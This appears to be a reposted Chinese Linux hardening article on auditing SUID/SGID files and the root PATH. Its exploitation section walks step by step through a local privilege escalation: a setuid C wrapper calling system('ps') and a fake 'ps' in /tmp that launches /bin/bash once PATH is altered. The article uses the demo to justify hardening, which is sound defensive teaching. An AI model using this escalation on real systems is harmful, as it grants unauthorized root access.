首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

Linux 安全基线-操作系统Linux SUID/SGID文件安全基线

最近很多小伙伴私底下问到,Linux下root的环境变量和未授权的SUID和SGID为什么要加固?会有什么风险?具体有哪些危害?今天给大家简单介绍一下Linux的环境变量配置不当可以导致系统提权。

1、Linux的加固项介绍:

1.1 查找未授权的SUID/SGID文件

安全基线项目名称:

操作系统Linux SUID/SGID文件安全基线要求项

安全基线项说明:

文件系统-查找未授权的SUID/SGID文件

检测操作步骤:

用下面的命令查找系统中所有的SUID和SGID程序,执行:

for PART in `grep -v ^# /etc/fstab | awk '($6 != "0") '`; do

find $PART ( -perm -04000 -o -perm -02000 ) -type f -xdev -print

Done

建议经常性的对比suid/sgid文件列表,以便能够及时发现可疑的后门程序

1.2 root用户环境变量的安全性

安全基线项目名称:

操作系统Linux超级用户环境变量安全基线要求项

安全基线项说明:

帐号与口令-root用户环境变量的安全性

检测操作步骤:

执行:echo $PATH | egrep '(^|:)(.|:|$)',检查是否包含父目录,

执行:find `echo $PATH | tr ':' ' '` -type d ( -perm -002 -o -perm -020 ) -ls,检查是否包含组目录权限为777的目录

确保root用户的系统路径中不包含父目录,在非必要的情况下,不应包含组权限为777的目录

2、利用过程

$PATH是Linux和类Unix操作系统中的环境变量,它指定了存储所有可执行程序的bin和sbin目录。当用户在终端运行任何命令时,它向shell发出请求,在环境变量的帮助下搜索可执行文件以响应用户执行的命令。超级用户通常还具有/sbin和/usr /sbin条目,以便轻松执行系统管理命令。

step1:使用echo命令就能轻易的查看和当前用户相关的环境变量。

echo $PATH

/tmp:/tmp:/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/test/bin

step2:编写一个C语言文件(demo.c),编辑后可执行的二进制文件,需要GCC的环境,如果没有自行安装。

#include

void main()

{

setuid(0);

setgid(0);

system("ps");

}

step3:进行编译,赋权限并执行

ls

gcc demo.c -o shell

chmod u+s shell

ls -la shell

./shell

test@localhost ~]$ ./shell

PID TTY TIME CMD

2407 pts/1 00:00:00 bash

2460 pts/1 00:00:00 shell

2461 pts/1 00:00:00 pss

step4: 攻击测试

使用copy命令进行测试提权

cd /tmp

echo “/bin/bash” > ps

chmod 777 ps

echo $PATH

export PATH=/tmp:$PATH

cd /home/ttgo2

./shell

whoami

3、利用说明

这里充分说明了,如果一个普通用户的PATH变量包含了自己能控制的执行文件目录,再加上利用关键具有SUID权限的文件,就可以进行提权,所以这两个配置项是非常有必要进行安全加固的。

  • 发表于:
  • 原文链接https://kuaibao.qq.com/s/20181008G0E21H00?refer=cp_1026
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。

扫码

添加站长 进交流群

领取专属 10元无门槛券

私享最新 技术干货

扫码加入开发者社群
领券